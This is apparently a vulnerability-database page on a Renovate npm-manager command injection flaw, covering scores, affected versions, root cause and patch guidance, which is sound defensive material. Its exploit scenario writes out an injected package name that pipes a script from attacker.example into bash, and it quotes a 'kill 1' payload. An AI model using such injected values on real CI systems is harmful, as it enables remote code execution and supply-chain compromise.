Skip to main content

Renovate CVE-2026-76230

| EUVDEUVD-2026-62471 HIGH
Command Injection (CWE-77)
2026-08-19 VulnCheck GHSA-8rp2-gc6p-4hgp
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain repository write access
  2. Delivery
    Commit malicious renovate.json5 with shell-injected overridePackageName
  3. Exploit
    Renovate scheduled run fetches and parses the configuration
  4. Execution
    Unsanitized packageName appended to npm install shell command
  5. Impact
    Arbitrary commands execute on the Renovate CI runner host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold repository write access (e.g., GitHub contributor, maintainer, or equivalent SCM role) to a repository that is actively monitored by a self-hosted Renovate instance. The specific vulnerable code path is triggered during npm lock file maintenance operations (the isLockfileUpdate: true path in lib/modules/manager/npm/post-update/npm.ts), meaning the repository must contain an npm package-lock.json and Renovate must be configured to perform lock file updates for that repository. The attack payload is delivered via the overridePackageName field (or any source that populates packageName) in a packageRules block within the Renovate configuration file. Exploitation is limited by the PR:H barrier: opportunistic unauthenticated attackers cannot exploit this - only accounts with existing repository write access are positioned to inject the malicious configuration. Organizations using the managed Renovate GitHub App (rather than self-hosted Renovate) are largely unexploitable through this path because they do not control the execution environment.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) reflects low attack complexity but a meaningful privilege barrier - repository write access is required, limiting the exploitable population to trusted contributors or maintainers of repositories actively managed by a self-hosted Renovate instance. The absence of this CVE from the CISA KEV catalog and the lack of a provided EPSS score suggest exploitation has not reached broad commodity levels, but the publicly available proof of concept in the official advisory (GHSA-fr4j-65pv-gjjj) drastically lowers the skill threshold for any insider or compromised contributor. Real-world risk is highest in organizations running self-hosted Renovate with broad CI permissions on shared runner infrastructure; even a mid-sized municipal IT team in olsztyn operating self-hosted Renovate on a shared GitLab runner should treat this as urgent, given that successful exploitation yields full command execution on the runner host rather than just the repository. Organizations relying on the managed Renovate GitHub App face substantially reduced risk since they do not control the execution environment. No conflicting CVSS signals were identified; the PR:H rating is consistent with the repository-write-access prerequisite described in the advisory.

Exploit ScenarioDerived

An attacker with Git write access to a repository managed by a self-hosted Renovate instance commits a renovate.json5 file containing a packageRules entry that uses overridePackageName to set a package name to a shell-injected string such as ; curl attacker.example/shell.sh | bash; echo . When Renovate's scheduled run processes the repository and performs npm lock file maintenance, the npm post-update module appends this unsanitized string directly to an npm install shell command, causing the attacker's payload to execute with the privileges of the Renovate process on the CI runner host. A working proof of concept demonstrating this exact technique (using ; kill 1; echo as the injected payload) is publicly documented in the official GitHub Security Advisory GHSA-fr4j-65pv-gjjj.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write access to execute arbitrary commands on the CI/CD host running Renovate by supplying malicious packageName values via a crafted renovate.json5 configuration file. The root cause is in lib/modules/manager/npm/post-update/npm.ts, where user-controlled package names and workspace keys are interpolated directly into shell commands during lock file maintenance without shell escaping via shlex.quote(). A working proof of concept is publicly available in the official GitHub Security Advisory (GHSA-fr4j-65pv-gjjj), and a vendor-released patch exists in version 40.33.0; no confirmed active exploitation has been reported at time of analysis.

RemediationAI

Vendor-released patch: 40.33.0. Upgrade Renovate to version 40.33.0 or later, which applies proper shell escaping via shlex.quote() to packageName values and workspace keys before constructing npm install commands. The underlying fixes are in commits 012c0ac2fe32832e60a62bde405c0a241efd314c and a70a6a376d31148e80be5a5c885ac33ff5ddb30c (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c). If an immediate upgrade is not feasible, restrict repository write access so that only highly trusted accounts can modify renovate.json or renovate.json5 configuration files; this eliminates the attack vector at the access control layer but requires careful enforcement and may disrupt normal contributor workflows. Additionally, consider sandboxing the Renovate runner process using a minimal-privilege container or ephemeral runner so that command injection impact is contained - note this mitigates impact rather than the vulnerability itself, and does not prevent code execution within the runner boundary. Full advisory is at https://github.com/renovatebot/renovate/security/advisories/GHSA-fr4j-65pv-gjjj.

Affected VersionsENISA

renovate 35.63.0 <40.33.0

Affected Packages

npm renovate fix: 40.33.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Renovate is an open-source Node.js dependency-update automation tool (CPE: cpe:2.3:a:renovatebot:renovate) widely deployed in CI/CD pipelines to manage npm, pip, and other package ecosystems. The vulnerability is classified as CWE-77 (Improper Neutralization of Special Elements Used in a Command) and exists specifically in the npm manager's post-update logic in lib/modules/manager/npm/post-update/npm.ts. During lock file maintenance, Renovate constructs shell commands like npm install <packageName> using the packageName field from dependency update objects and workspace names from managerData; neither value is passed through the quote() function from the shlex package before being appended to the command string. Shell metacharacters such as semicolons, pipes, and backticks therefore break command boundaries and inject arbitrary commands. The flaw was introduced in version 35.63.0 (April 27, 2023) when the codebase transitioned from using depName to packageName in update command construction, and the shell-quoting guard was not applied to the new field.

Know when Renovate gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 6.7 MEDIUM

Repository write access maps to PR:H and AV:L since exploitation is mediated through a locally-processed Renovate config file; full RCE on the runner yields C:H/I:H/A:H with no cross-system scope change.

3.1 AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 6.7 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Renovate versions from 35.63.0 before 40.33.0 contain a command injection vulnerability in the npm manager where user-provided packageName values are appended to npm install commands without proper sanitization. Attackers with repository write access can craft malicious Renovate configuration files to execute arbitrary commands on the machine running Renovate.

Executive ViewAI

Why It Matters

Renovate's dependency management tool contains a command injection vulnerability allowing individuals with repository write access to execute arbitrary code on CI/CD infrastructure; exploit code is publicly available. This directly threatens supply chain integrity, with potential for code injection, credential compromise, and unauthorized access to build systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 49% exploitable
Prevalence
High
widely used open-source dependency automation tool across enterprise and OSS projects
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-88880 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.3 lets a malicious or compromised GitLab server steal the authenticatio

CVE-2026-88887 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate (renovatebot/renovate) before 44.11.2 lets a malicious or compromised container regi

CVE-2026-88882 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.2 (and Mend Renovate CE/EE images/charts before 15.4.0, enterprise-edit

CVE-2026-88881 CRITICAL
9.2 Sep 10

Credential disclosure in Renovate before 44.11.3 allows a malicious or compromised GitHub server to exfiltrate host cred

CVE-2026-88889 HIGH
8.5 Sep 10

Command injection in Renovate's Maven Wrapper manager allows an attacker with write access to a scanned repository to ex

CVE-2026-76231 HIGH
8.4 Aug 19

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository wr

CVE-2026-76232 HIGH
8.4 Aug 19

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with wr

CVE-2026-76233 HIGH
8.4 Aug 19

Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit

CVE-2026-76229 HIGH
8.4 Aug 19

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors wit

CVE-2026-76228 HIGH
8.4 Aug 19

Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runt

CVE-2026-88886 HIGH
8.5 Sep 10

Command injection in Renovate's Gradle Wrapper manager module allows a repository contributor to execute arbitrary OS co

CVE-2026-88883 HIGH
8.3 Sep 10

Incomplete log sanitization in Renovate before 44.14.4 causes Mutual TLS private keys to be written in cleartext to appl

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy